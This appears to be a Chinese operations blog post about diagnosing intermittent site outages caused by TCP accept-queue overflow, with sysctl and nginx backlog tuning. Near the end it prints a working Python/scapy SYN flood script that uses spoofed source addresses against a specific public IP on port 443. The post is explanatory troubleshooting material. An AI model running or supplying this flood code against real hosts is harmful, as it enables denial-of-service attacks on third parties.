阅读 22

记一次惊心的网站TCP队列问题排查经历

Python中文社区 全球Python中文开发者的 精神部落

作者:刘晓明,互联网公司运维技术负责人,拥有10年的互联网开发和运维经验。一直致力于运维工具的开发和运维专家服务的推进,赋能开发,提高效能。

**
**

问题描述:

1、监控系统发现电商网站主页及其它页面间歇性的无法访问; 

2、查看安全防护和网络流量、应用系统负载均正常; 

3、系统重启后,能够暂时解决,但持续一段时间后间歇性问题再次出现。

此时问题已经影响到整个网站的正常业务,我的那个心惊的呀,最主要报警系统没有任何报警,服务运行一切正常,瞬时背上的汗已经出来了。但还是要静心,来仔细寻找蛛丝马迹,来一步一步找问题。

问题初步判断:

1、检查dev 和 网卡设备层,是否有error和drop

cat /proc/net/dev 和 ifconfig,分析在硬件和系统层,未发现异常

2、观察socket overflow 和 socket droped(如果应用处理全连接队列(accept queue)过慢 socket overflow,影响半连接队列(syn queue)溢出socket dropped)

netstat -s |grep -i listen ,发现SYN socket overflow 和 socket droped 急增加。

3、检查sysctl内核参数:backlog,somaxconn,file-max 和 应用程序的backlog

ss -lnt查询,SEND-Q会取上述参数的最小值,发现当时队列已经超过网站80端口和443端口默认值

4、检查 selinux 和NetworkManager 是否启用 ,禁用状态

5、检查timestap ,reuse 启用,内核recycle是否启用,如果过NAT,禁用recycle

6、抓包判断请求进来后应用处理的情况,是否收到SYN未响应情况。

深入分析问题:

正常TCP建连接三次握手过程:

  • 第一步:客户端 发送 syn 到 服务端 发起握手;
  • 第二步:服务端 收到 syn后回复syn+ack给 客户端;
  • 第三步: 客户端 收到syn+ack后,回复 服务端 一个ack表示收到了 服务端 的syn+ack 。

从描述的情况来看,TCP建连接的时候全连接队列(accept队列)满了,尤其是描述中症状为了证明是这个原因。反复看了几次之后发现这个overflowed 一直在增加,那么可以明确的是server上全连接队列一定溢出了。

接着查看溢出后,OS怎么处理:

复制代码
  1. # cat /proc/sys/net/ipv4/tcp_abort_on_overflow
  2. ``
  3. 0

tcpaborton_overflow 为0表示如果三次握手第三步的时候全连接队列满了那么server扔掉client 发过来的ack(在server端认为连接还没建立起来)

为了证明客户端应用代码的异常跟全连接队列满有关系,我先把tcpaborton_overflow修改成 1,1表示第三步的时候如果全连接队列满了,server发送一个reset包给client,表示废掉这个握手过程和这个连接(本来在server端这个连接就还没建立起来)。

接着测试然后在web服务日志中异常中可以看到很多connection reset by peer的错误,到此证明客户端错误是这个原因导致的。

查看sysctl内核参数:backlog ,somaxconn,file-max 和 nginx的backlog配置参数,ss -ln取最小值,发现为128,此时resv-q已经在129 ,请求被丢弃。将上述参数修改,并进行优化:

  • linux内核参进行优化:
复制代码
  1. net.ipv4.tcp_syncookies = 1
  2. net.ipv4.tcp_max_syn_backlog = 16384
  3. net.core.somaxconn = 16384
  • nginx 配置参数优化: backlog=32768;

利用python 多线程压测,并未发现新的问题:

复制代码
  1. import requests
  2. from bs4 import BeautifulSoup
  3. from concurrent.futures import ThreadPoolExecutor
  4. url='https://www.wuage.com/'
  5. response=requests.get(url)
  6. soup=BeautifulSoup(response.text,'html.parser')
  7. with ThreadPoolExecutor(20) as ex:
  8.    for each_a_tag in soup.find_all('a'):
  9.        try:
  10.            ex.submit(requests.get,each_a_tag['href'])
  11.        except Exception as err:
  12.            print('return error msg:'+str(err))

理解TCP握手过程中建连接的流程和队列

如上图所示,这里有两个队列:syns queue(半连接队列);accept queue(全连接队列)

三次握手中,在第一步server收到client的syn后,把相关信息放到半连接队列中,同时回复syn+ack给client(第二步);

比如syn floods 攻击就是针对半连接队列的,攻击方不停地建连接,但是建连接的时候只做第一步,第二步中攻击方收到server的syn+ack后故意扔掉什么也不做,导致server上这个队列满其它正常请求无法进来

第三步的时候server收到client的ack,如果这时全连接队列没满,那么从半连接队列拿出相关信息放入到全连接队列中,否则按tcpaborton_overflow指示的执行。

这时如果全连接队列满了并且tcpaborton_overflow是0的话,server过一段时间再次发送syn+ack给client(也就是重新走握手的第二步),如果client超时等待比较短,就很容易异常了。

SYN Flood洪水攻击

当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,导致被攻击服务器保持大量SYN_RECV状态的“半连接”,并且会重试默认5次回应第二个握手包,塞满TCP等待连接队列,资源耗尽(CPU满负荷或内存不足),让正常的业务请求连接不进来。用python实现一个SYN Flood攻击的Demo:

复制代码
  1. from concurrent.futures import ThreadPoolExecutor
  2. from scapy.all import *
  3. def synFlood(tgt,dPort):
  4.    srcList = ['11.1.1.2','22.1.1.102','33.1.1.2',
  5.               '125.130.5.199']
  6.    for sPort in range(1024, 65535):
  7.        index = random.randrange(4)
  8.        ipLayer = IP(src=srcList[index], dst=tgt)
  9.        tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')
  10.        packet = ipLayer/tcpLayer
  11.        send(packet)
  12. ``
  13. tgt = '139.196.251.198'
  14. print(tgt)
  15. dPort = 443
  16. ``
  17. with ThreadPoolExecutor(10000000) as ex:
  18.    try:
  19.        ex.submit(synFlood(tgt,dPort))
  20.    except Exception as err:
  21.        print('return error msg:' + str(err))

所以大家要对TCP半连接队列和全连接队列的问题很容易被忽视,但是又很关键,特别是对于一些短连接应用更容易爆发、出现问题后,从网络流量、cpu、线程、负载来看都比较正常,在用户端来看rt比较高,但是从服务器端的日志看rt又很短。如何避免在出现问题时手忙脚乱,建立起应急机机制,后续有机会写一下应急方面的文章。

最近热门文章

用Python更加了解微信好友\

如何用Python做一个骚气的程序员\

用Python爬取陈奕迅新歌《我们》10万条评论的新发现\

用Python分析苹果公司股价数据\

Python自然语言处理分析倚天屠龙记

点击下方****阅读原文 免费成为****社区会员

文章分类
后端
文章标签